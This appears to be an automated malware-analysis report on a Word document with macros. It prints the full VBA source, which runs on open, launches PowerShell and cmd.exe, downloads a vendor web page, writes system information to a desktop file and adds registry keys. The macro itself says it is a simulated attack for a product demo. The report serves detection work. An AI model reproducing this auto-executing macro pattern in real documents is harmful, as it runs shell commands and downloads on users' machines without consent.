Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 557279169e2e0b7d…

MALICIOUS

Office (OOXML)

42.4 KB Created: 2017-01-24 15:49:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-04
MD5: e387edc25771e5f54b257ebd81f16481 SHA-1: ad0af34b9c20b6916b0f385f637dc5a8bcd82b49 SHA-256: 557279169e2e0b7db93846aa246eb1b098dbb8eeb91fbd5a62c6df24cd3173c2
458 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1059.003 Windows Command Shell T1105 Ingress Tool Transfer T1547.001 Registry Run Keys / Startup Folder T1083 File and Directory Discovery

The sample contains VBA macros that execute upon opening, specifically using AutoOpen and Auto_Open. These macros leverage WScript.Shell and CreateObject to execute PowerShell commands, which are used to download and execute a second-stage payload from a hardcoded URL. The script also creates a file named 'attackerdata.txt' on the user's desktop and modifies registry keys, indicating a downloader and potentially a persistence mechanism.

Heuristics 11

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    exec = "powershell.exe Start-Process -FilePath ""https://www.youtube.com/watch?v=dQw4w9WgXcQ"" "
    Shell (exec)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub Output_Data_File()
    US = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
    Set fso = CreateObject("Scripting.FileSystemObject")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    'Let them know that CarbonBlack is there for them
    exec = "powershell.exe Start-Process -FilePath ""https://www.youtube.com/watch?v=dQw4w9WgXcQ"" "
    Shell (exec)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub Output_Data_File()
    US = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
    Set fso = CreateObject("Scripting.FileSystemObject")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    exec = windir & "\System32\cmd.exe /C ""set username"" >> " & userprofile & "\Desktop\attackerdata.txt"
    oShell.Run exec, DontShowWindow, WaitUntilFinished
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
    Sub AutoOpen()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Sub
    Sub Auto_Open()
    'Different version of word use a different auto-exec method to run on document open
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.carbonblack.com In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://www.youtube.com/watch?v=dQw4w9WgXcQIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5622 bytes
SHA-256: 622065a55204e2a19de22bbed0741ccb1adc54576b6a1bad33c303f2a1ba4db1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

'Start by creating a network connection
Call Create_Network_Connection

'Output some text to a file
Call Output_Data_File

'So what is this sysetem?
Call Enumerate_System

'Make a registry change
Call Make_Registry_Modification


'Display content of text file
Call Display_Notepad


Call Wrapup


End Sub
Sub Auto_Open()
'Different version of word use a different auto-exec method to run on document open
Call AutoOpen

End Sub
Sub Wrapup()
'Let them know that CarbonBlack is there for them
exec = "powershell.exe Start-Process -FilePath ""https://www.youtube.com/watch?v=dQw4w9WgXcQ"" "
Shell (exec)

End Sub
Sub Output_Data_File()
US = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
Set fso = CreateObject("Scripting.FileSystemObject")
Set outfile = fso.CreateTextFile(US & "\Desktop\attackerdata.txt")
Dim outputtext As String

outputtext = "****Simulated Attack****" & vbCrLf
outputtext = outputtext & "The word document, you just opened, is a non-malicous example of a non-malware type attack or ""Living off the land attack"" " & vbCrLf
outputtext = outputtext & "The document was able to open a network connection using powershell, simulating the establishment of a Command & Control Channel" & vbCrLf
outputtext = outputtext & "This was done using powershell to ping the server as well as open a webpage from the server" & vbCrLf & vbCrLf
outputtext = outputtext & "The document then created a new registry Key:" & vbCrLf
outputtext = outputtext & "HKCU\BadKey" & vbCrLf
outputtext = outputtext & "and added some values:" & vbCrLf
outputtext = outputtext & "HKCU\BadKey\DWordValue" & vbCrLf
outputtext = outputtext & "HKCU\BadKey\CarbonBlack" & vbCrLf & vbCrLf
outputtext = outputtext & "It created this file on the current user's desktop" & vbCrLf
outputtext = outputtext & "It then launched notepad from within powershell and displayed the contents of the file you are currently viewing" & vbCrLf
outputtext = outputtext & "" & vbCrLf
outputtext = outputtext & "If this had been a real attack your anit-virus, anti-exploit and anti-malware solution didn't save you" & vbCrLf
outputtext = outputtext & "Maybe it's time to look at the leader in Next Generation Endpoint Security - CarbonBlack" & vbCrLf
outputtext = outputtext & "http:\\carbonblack.com" & vbCrLf & vbCrLf
outputtext = outputtext & "Below is some of the information the attacker could have gathered about your system" & vbCrLf & vbCrLf

outfile.Write outputtext
outfile.Close

End Sub

Sub Create_Network_Connection()
Dim exec As String

US = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
exec = "powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://www.carbonblack.com', '" & US & "\Desktop\carbonblack.HTML')"
Shell (exec)
'ping the website
exec = "powershell.exe Test-Connection -computername www.carbonblack.com"
Shell (exec)

'Open the CarbonBlack website
exec = "powershell.exe Start-Process -FilePath ""www.carbonblack.com"" "
Shell (exec)

End Sub

Sub Make_Registry_Modification()
' Create a WSH Shell object:
Set WshShell = CreateObject("WScript.Shell")
'
' Create a new key:
WshShell.RegWrite "HKCU\BadKey\", ""

' Create a new DWORD value:
WshShell.RegWrite "HKCU\BadKey\DWordBadValue", 1, "REG_DWORD"

' Create a new string value:
WshShell.RegWrite "HKCU\BadKey\CarbonBlack", "Wuz here!", "REG_SZ"

End Sub

Sub Display_Notepad()
Dim exec As String
userprofile = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
windir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%windir%")

'Open that text file we created
exec = windir & "\system32\notepad.exe " & userprofile & "\Desktop\attackerdata.txt"

Shell (exec)
End Sub

Sub Enumerate_System()
Const DontWaitUntilFinished = False, Showwindow = 1, WaitUntilFinished = True
Dim exec As String
userprofile = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%UserProfile%")
windir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%windir%")
Set oShell = CreateObject("WScript.Shell")

exec = windir & "\System32\cmd.exe /C ""set username"" >> " & userprofile & "\Desktop\attackerdata.txt"
oShell.Run exec, DontShowWindow, WaitUntilFinished

'Takes a bit and slows things down
'exec = windir & "\System32\cmd.exe /C Echo. >> " & userprofile & "\Desktop\attackerdata.txt"
'oShell.Run exec, DontShowWindow, WaitUntilFinished
'exec = windir & "\System32\cmd.exe /C Echo Recent Network Connections >> " & userprofile & "\Desktop\attackerdata.txt"
'oShell.Run exec, DontShowWindow, WaitUntilFinished
'exec = windir & "\System32\cmd.exe /C ""arp -a"" >> " & userprofile & "\Desktop\attackerdata.txt"
'oShell.Run exec, DontShowWindow, WaitUntilFinished

exec = windir & "\System32\cmd.exe /C Echo. >> " & userprofile & "\Desktop\attackerdata.txt"
oShell.Run exec, DontShowWindow, WaitUntilFinished
exec = windir & "\System32\cmd.exe /C Echo SystemInfo >> " & userprofile & "\Desktop\attackerdata.txt"
oShell.Run exec, DontShowWindow, WaitUntilFinished
exec = windir & "\System32\cmd.exe /C ""systeminfo"" >> " & userprofile & "\Desktop\attackerdata.txt"
oShell.Run exec, DontShowWindow, WaitUntilFinished


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 32768 bytes
SHA-256: 6850e0bbcfb61c1f7d6c2e320b95e545a7a86340ff3fd451c2dd64a5d2c33eb8
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely